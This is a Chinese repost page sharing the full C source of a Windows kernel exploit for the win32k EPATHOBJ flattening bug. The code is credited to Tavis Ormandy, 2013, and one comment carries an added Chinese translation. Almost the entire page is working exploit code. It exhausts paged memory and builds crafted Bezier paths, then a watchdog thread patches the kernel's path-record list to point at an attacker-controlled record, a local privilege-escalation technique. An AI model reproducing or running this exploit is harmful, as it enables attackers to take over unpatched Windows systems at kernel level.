Windows内核EPATHOBJ 0day漏洞源码分享

来源:互联网 发布:lol网络延迟不稳定 编辑:程序博客网 时间:2024/06/07 21:49
#ifndef WIN32_NO_STATUS# define WIN32_NO_STATUS#endif#include <windows.h>#include <assert.h>#include <stdio.h>#include <stddef.h>#include <winnt.h>#ifdef WIN32_NO_STATUS# undef WIN32_NO_STATUS#endif#include <ntstatus.h>#pragma comment(lib, "gdi32")#pragma comment(lib, "kernel32")#pragma comment(lib, "user32")#define MAX_POLYPOINTS (8192 * 3)#define MAX_REGIONS 8192#define CYCLE_TIMEOUT 10000//// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.//// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013//POINT       Points[MAX_POLYPOINTS];BYTE        PointTypes[MAX_POLYPOINTS];HRGN        Regions[MAX_REGIONS];ULONG       NumRegion;HANDLE      Mutex;// Log levels.typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;BOOL LogMessage(LEVEL Level, PCHAR Format, ...);// Copied from winddi.h from the DDK#define PD_BEGINSUBPATH   0x00000001#define PD_ENDSUBPATH     0x00000002#define PD_RESETSTYLE     0x00000004#define PD_CLOSEFIGURE    0x00000008#define PD_BEZIERS        0x00000010typedef struct  _POINTFIX{    ULONG x;    ULONG y;} POINTFIX, *PPOINTFIX;// Approximated from reverse engineering.typedef struct _PATHRECORD {    struct _PATHRECORD *next;    struct _PATHRECORD *prev;    ULONG               flags;    ULONG               count;    POINTFIX            points[0];} PATHRECORD, *PPATHRECORD;PPATHRECORD PathRecord;PATHRECORD  ExploitRecord;DWORD WINAPI WatchdogThread(LPVOID Parameter){    // This routine waits for a mutex object to timeout, then patches the    // compromised linked list to point to an exploit. We need to do this.    LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p",                       GetCurrentThreadId(),                       Mutex);    if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {        // It looks like the main thread is stuck in a call to FlattenPath(),        // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean        // up, and then patch the list to trigger our exploit.        while (NumRegion--)            DeleteObject(Regions[NumRegion]);        LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);        InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);    } else {        LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");    }    return 0;}int main(int argc, char **argv){    HANDLE      Thread;    HDC         Device;    ULONG       Size;    HRGN        Buffer;    ULONG       PointNum;    ULONG       Count;    // Create our PATHRECORD in userspace we will get added to the EPATHOBJ    // pathrecord chain.    PathRecord = VirtualAlloc(NULL,                              sizeof(PATHRECORD),                              MEM_COMMIT | MEM_RESERVE,                              PAGE_EXECUTE_READWRITE);    LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord);    // Initialise with recognisable debugging values.    FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);    PathRecord->next    = PathRecord;    PathRecord->prev    = (PVOID)(0x42424242);    // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from 需要从EPATHOBJ::pprflattenRec()键入PD——BEZIERS,这样就可以触发无限循环。    // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite    // loop in EPATHOBJ::bFlatten().    PathRecord->flags   = 0;    LogMessage(L_INFO, "  ->next  @ %p", PathRecord->next);    LogMessage(L_INFO, "  ->prev  @ %p", PathRecord->prev);    LogMessage(L_INFO, "  ->flags @ %u", PathRecord->flags);    ExploitRecord.next  = NULL;    ExploitRecord.prev  = 0xCCCCCCCC;    ExploitRecord.flags = PD_BEZIERS;    LogMessage(L_INFO, "Creating complex bezier path with %#x", (ULONG)(PathRecord) >> 4);    // Generate a large number of Bezier Curves made up of pointers to our    // PATHRECORD object.    for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {        Points[PointNum].x      = (ULONG)(PathRecord) >> 4;        Points[PointNum].y      = (ULONG)(PathRecord) >> 4;        PointTypes[PointNum]    = PT_BEZIERTO;    }    // Switch to a dedicated desktop so we don't spam the visible desktop with    // our Lines (Not required, just stops the screen from redrawing slowly).    SetThreadDesktop(CreateDesktop("DontPanic",                     NULL,                     NULL,                     0,                     GENERIC_ALL,                     NULL));    Mutex = CreateMutex(NULL, TRUE, NULL);    // Get a handle to this Desktop.    Device = GetDC(NULL);    // Spawn a thread to cleanup    Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);    // We need to cause a specific AllocObject() to fail to trigger the    // exploitable condition. To do this, I create a large number of rounded    // rectangular regions until they start failing. I don't think it matters    // what you use to exhaust paged memory, there is probably a better way.    //    // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on    // failure. Seriously, do some damn QA Microsoft, wtf.    for (Size = 1 << 26; Size; Size >>= 1) {        while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))            NumRegion++;    }    LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);    LogMessage(L_INFO, "Flattening curves...");    // Begin filling the free list with our points.    for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {        BeginPath(Device);        PolyDraw(Device, Points, PointTypes, PointNum);        EndPath(Device);        FlattenPath(Device);        FlattenPath(Device);        EndPath(Device);    }    LogMessage(L_INFO, "No luck, cleaning up");    // If we reach here, we didn't trigger the condition. Let the other thread know.    ReleaseMutex(Mutex);    ReleaseDC(NULL, Device);    WaitForSingleObject(Thread, INFINITE);    return 0;}// A quick logging routine for debug messages.BOOL LogMessage(LEVEL Level, PCHAR Format, ...){    CHAR Buffer[1024] = {0};    va_list Args;    va_start(Args, Format);        vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);    va_end(Args);    switch (Level) {        case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;        case L_INFO:  fprintf(stdout, "[+] %s\n", Buffer); break;        case L_WARN:  fprintf(stderr, "[*] %s\n", Buffer); break;        case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break;    }    fflush(stdout);    fflush(stderr);    return TRUE;}

原创粉丝点击